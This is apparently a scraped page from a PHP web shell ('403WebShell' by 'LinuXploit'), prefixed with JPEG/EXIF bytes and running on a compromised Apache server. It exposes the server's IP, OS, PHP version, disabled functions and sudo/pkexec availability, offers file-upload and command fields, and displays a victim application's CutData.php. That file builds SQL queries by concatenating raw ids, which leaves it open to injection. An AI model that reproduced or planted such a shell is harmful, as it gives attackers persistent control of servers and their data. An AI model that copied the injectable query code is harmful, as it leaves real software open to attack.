����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.144.226.114
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/model/CutData.php
<?php
class CutData {
	public static $tablename = "box opening";

	public function CutData(){
		$this->finished_at = "";
		$this->user_id = "";
		$this->created_at = "NOW()";
	}

	public function add(){
		$sql = "insert into ".self::$tablename." (created_at) ";
		$sql .= "value ($this->created_at)";
		return Executor::doit($sql);
	}

	public function update(){
		$sql ="update ".self::$tablename." set finished_at=NOW() where id=$this->id";
		Executor::doit($sql);		
	}

	public static function delById($id){
		$sql = "delete from ".self::$tablename." where id=$id";
		Executor::doit($sql);
	}

	public function del(){
		$sql = "delete from ".self::$tablename." where id=$this->id";
		Executor::doit($sql);
	}


	public static function getById($id){
		 $sql = "select * from ".self::$tablename." where id=$id";
		$query = Executor::doit($sql);
		$found = null;
		$data = new CutData();
		while($r = $query[0]->fetch_array()){
			$data->id = $r['id'];
			$data->cash = $r['cash'];
			$data->created_at = $r['created_at'];
			$found = $data;
			break;
		}
		return $found;
	}

	public static function remainDays(){
		$day_of_cut= "01";
		$breakp = -1;
		for($i=0;$i<4;$i++){
			$dx = date("d",time()+$i*86400);
			if($dx==$day_of_cut){
				$breakp = $i;

			}
		}
		return $breakp;
	}

	public static function DayCut(){
		$breakp = self::remainDays();
		if($breakp>1){
			echo "<p class='alert alert-info'><i class='glyphicon glyphicon-time'></i> Faltan <b>".$breakp." Dias</b> para la fecha de corte, Tome las medidas necesarias.</p>";
		}else if($breakp==1){
			echo "<p class='alert alert-info'><i class='glyphicon glyphicon-time'></i> Se le recuerda que este es el ultimo dia que se trabajara con el corte actual. a partir de el dia de mañana todas las operaciones de entrada-salida se reiniciaran de nuevo. </p>";

		}else if($breakp==0){
			echo "<p class='alert alert-warning'><i class='glyphicon glyphicon-time'></i> Se le recuerda que se esta trabajando sobre un nuevo corte, todas las nuevas operaciones seran registradas en el nuevo corte apartior de hoy..</p>";

		}

	}

	public static function getCut(){
		self::DayCut();
		if(self::getCurrent()!=null){
 		    echo "<p class='alert alert-success'> Se esta trabajando sobre el corte iniciado la fecha (AAAA-MM-DD HH:MM:SS): <b>".self::getCurrent()->created_at."</b></p>";
		}else{
			echo "<p class='alert alert-warning'>Bienvenido al sistema, para iniciar debes crear un cortes, se ha configurado para que los cortes se creen automaticamente todos los dias <b>1ro</b> de cada Mes.</p>";
		}
	}


	public static function getCurrent(){
    	$sql = "SELECT * FROM `box opening` WHERE DATE(`created_at`) = CURDATE() and TIME(`created_at`) <= '23:59:59';";
		$query = Executor::doit($sql);
		$found = null;
		$data = new CutData();
		while($r = $query[0]->fetch_array()){
			$data->id = $r['id'];
			$data->cash = $r['cash'];
			$data->finished_at = $r['finished_at'];
			$data->created_at = $r['created_at'];
			$found = $data;
			break;
		}
		return $found;
	}
	
	public static function getFinally(){
    	$sql = "SELECT * FROM `box opening` WHERE `id` ORDER BY `id` DESC LIMIT 1";
		$query = Executor::doit($sql);
		$found = null;
		$data = new CutData();
		while($r = $query[0]->fetch_array()){
			$data->id = $r['id'];
			$data->cash = $r['cash'];
			$data->finished_at = $r['finished_at'];
			$data->created_at = $r['created_at'];
			$found = $data;
			break;
		}
		return $found;
	}


	public static function getAll(){
		$sql = "select * from ".self::$tablename." order by created_at desc";
		$query = Executor::doit($sql);
		$array = array();
		$cnt = 0;
		while($r = $query[0]->fetch_array()){
			$array[$cnt] = new CutData();
			$array[$cnt]->id = $r['id'];
			$array[$cnt]->finished_at = $r['finished_at'];
			$array[$cnt]->created_at = $r['created_at'];
			$cnt++;
		}
		return $array;
	}

	public static function getAllByPage($start_from,$limit){
		$sql = "select * from ".self::$tablename." where id>=$start_from limit $limit";
		$query = Executor::doit($sql);
		$array = array();
		$cnt = 0;
		while($r = $query[0]->fetch_array()){
			$array[$cnt] = new CutData();
			$array[$cnt]->id = $r['id'];
			$array[$cnt]->finished_at = $r['finished_at'];
			$array[$cnt]->created_at = $r['created_at'];
			$cnt++;
		}
		return $array;
	}



}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit